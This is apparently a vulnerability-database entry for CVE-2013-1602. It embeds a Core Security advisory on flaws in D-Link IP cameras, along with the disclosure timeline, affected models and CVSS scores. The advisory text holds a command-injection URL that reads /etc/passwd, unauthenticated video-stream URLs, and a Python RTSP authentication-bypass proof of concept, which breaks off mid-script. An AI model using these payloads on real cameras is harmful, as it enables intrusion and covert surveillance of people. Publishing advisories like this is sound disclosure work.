  1. Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.

  2. References

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

  1. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

  1. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

  1. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

  1. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Show details on source website


{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202001-0842",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "dcs-5230",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-5635",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.01"
      },
      {
        "model": "dcs-2102",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.05"
      },
      {
        "model": "dcs-3411",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-3430",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-5605",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.01"
      },
      {
        "model": "wcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-5230l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-1100",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.03"
      },
      {
        "model": "dcs-7510",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-2102",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.06"
      },
      {
        "model": "dcs-2121",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.05"
      },
      {
        "model": "dcs-3410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.02"
      },
      {
        "model": "dcs-6410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1100l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-7410",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.00"
      },
      {
        "model": "dcs-1130l",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.04"
      },
      {
        "model": "dcs-1130",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.03"
      },
      {
        "model": "dcs-2121",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "dlink",
        "version": "1.06"
      },
      {
        "model": "dcs-1100l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1100",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130l",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-1130",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2121",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3411",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3430",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5605",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-5635",
        "scope": null,
        "trust": 0.8,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3411/3430",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "-1.02"
      },
      {
        "model": "dcs-5605/5635",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.01"
      },
      {
        "model": "dcs-1100l/1130l",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.04"
      },
      {
        "model": "dcs-1100/1130",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.03"
      },
      {
        "model": "dcs-1100/1130 1.04 us",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-2102/2121 1.05 ru",
        "scope": null,
        "trust": 0.6,
        "vendor": "d link",
        "version": null
      },
      {
        "model": "dcs-3410",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-5230",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-5230l",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      },
      {
        "model": "dcs-6410",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "dcs-7410",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "dcs-7510",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.00"
      },
      {
        "model": "wcs-1100",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "d link",
        "version": "1.02"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1602"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Martin Rocha from Core Impact Pro Team",
    "sources": [
      {
        "db": "BID",
        "id": "59569"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-029"
      }
    ],
    "trust": 0.9
  },
  "cve": "CVE-2013-1602",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CVE-2013-1602",
            "impactScore": 2.9,
            "integrityImpact": "NONE",
            "severity": "MEDIUM",
            "trust": 1.8,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "NONE",
            "baseScore": 5.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2013-04636",
            "impactScore": 2.9,
            "integrityImpact": "NONE",
            "severity": "MEDIUM",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 3.9,
            "id": "CVE-2013-1602",
            "impactScore": 3.6,
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "None",
            "baseScore": 7.5,
            "baseSeverity": "High",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "CVE-2013-1602",
            "impactScore": null,
            "integrityImpact": "None",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2013-1602",
            "trust": 1.0,
            "value": "HIGH"
          },
          {
            "author": "NVD",
            "id": "CVE-2013-1602",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2013-04636",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201305-029",
            "trust": 0.6,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04636"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007133"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-029"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1602"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. \nExploiting this issue could allow an unauthenticated attacker to gain access to potentially sensitive information, such as a video stream. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n   1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n   2. [CVE-2013-1600] to access the video stream via HTTP,\n   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n   4. [CVE-2013-1602] to access the video stream via RTSP,\n   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n   . DCS-3411/3430 - firmware v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n   . DCS-3411/3430 - v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n   . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in \u0027/var/www/cgi-bin/rtpd.cgi\u0027\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera\u0027s web interface. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o         .   o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o                               . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o     . O O O O O O                         . o o o o o o o o o\nO O O O O O .     O O O O O O O .             o o o o o o o o o\nO O O O O O     o O O O O O O O . o . o o o o o o o o\nO O O O O O     o O O O O O O O . o o o . o o o o o o o o\nO O O O O O     o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O .   o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o     O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O     O O O O O . o O O o o O O o . o o o o o\nO O O O O O O .   o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o   . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O   . O O O . o o o O o o O O o . o o o o\nO O O O O O O O     O O O . o o o O o o O O o . o o o\nO O O O O O O O o   o O o   o o o o O o o o O o . o o o\nO O O O O O O O O   . O o   o o o o O o . o O o . o o\nO O O O O O O O O .   O o . o o o o O . o O o . o\nO O O O O O O O O o   o . o o o o o . o O o . o\nO O O O O O O O O O   . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o .    \no o O O O O O O O O o     . o o o . o . O o .                        \no o o O O O O O O O o     . o o o . o . O o .                          \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n   1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n   2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n    if LOGGING:\n        print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n    def __init__(self, data_to_send, recv_addr, dst_addr):\n        Thread.__init__(self)\n        self.data_to_send = data_to_send\n        self.recv_addr = recv_addr\n        self.dst_addr = dst_addr\n    \n    def run(self):\n        sender = socket(AF_INET, SOCK_DGRAM)\n        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        sender.sendto(self.data_to_send, self.dst_addr)\n        response = sender.recv(1024)\n        sender.sendto(response, self.recv_addr)\n        sender.close()\n\n\nclass UDPDispatcher(Thread):\n    dispatchers = []\n    \n    def __has_dispatcher_for(self, port):\n        return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n    \n    def __init__(self, src_port, dst_addr):\n        Thread.__init__(self)\n        if self.__has_dispatcher_for(src_port):\n            raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n        self.src_port = src_port\n        self.dst_addr = dst_addr\n        UDPDispatcher.dispatchers.append(self)\n    \n    def run(self):\n        listener = socket(AF_INET, SOCK_DGRAM)\n        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        listener.bind((\u0027\u0027, self.src_port))\n        while 1:\n            try:\n                data, recv_addr = listener.recvfrom(1024)\n                if not data: break\n                UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n            except Exception as e:\n                print e\n                break        \n        listener.close()\n        UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n    pipes = []\n    def __init__(self, source, sink, process_data_callback=lambda x: x):\n        Thread.__init__(self)\n        self.source = source\n        self.sink = sink\n        self.process_data_callback = process_data_callback\n        PipeThread.pipes.append(self)\n\n    def run(self):\n        while 1:\n            try:\n                data = self.source.recv(1024)\n                data = self.process_data_callback(data)\n                if not data: break\n                self.sink.send( data )\n            except Exception as e:\n                log(e)\n                break\n        PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n    def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n        Thread.__init__(self)\n        log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n        self.dst_addr = dst_addr\n        self.process_data_callback = process_data_callback\n        # Create TCP listener socket\n        self.sock = socket(AF_INET, SOCK_STREAM)\n        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        self.sock.bind((\u0027\u0027, src_port))\n        self.sock.listen(5)\n    \n    def run(self):\n        while 1:\n            # Wait until a new connection arises\n            newsock, address = self.sock.accept()\n            # Create forwarder socket\n            fwd = socket(AF_INET, SOCK_STREAM)\n            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n            fwd.connect(self.dst_addr)\n            # Pipe them!\n            PipeThread(newsock, fwd, self.process_data_callback).start()\n            PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n    def __init__(self, address):\n        self.address = address\n    def get_describe_data(self):\n        return \u0027\u0027\n\n\nclass DLink(Camera):\n    # D-Link DCS-2102/1.06-5731\n    def __init__(self, address):\n        Camera.__init__(self, address)\n    def get_describe_data(self):\n        return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n    DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n    UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n    SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n    DEFAULT_CSEQ = 1\n    DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n    def __init__(self, local_port, camera):\n        self.last_describe_req = \u0027\u0027\n        self.camera = camera\n        self.local_port = local_port\n        \n    def start(self):\n        log(\u0027[!] Starting bypasser\u0027)\n        TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n        \n    def spoof_rtsp_conn(self, data):\n        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n            self.last_describe_req = data\n        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n            log(\u0027[!] 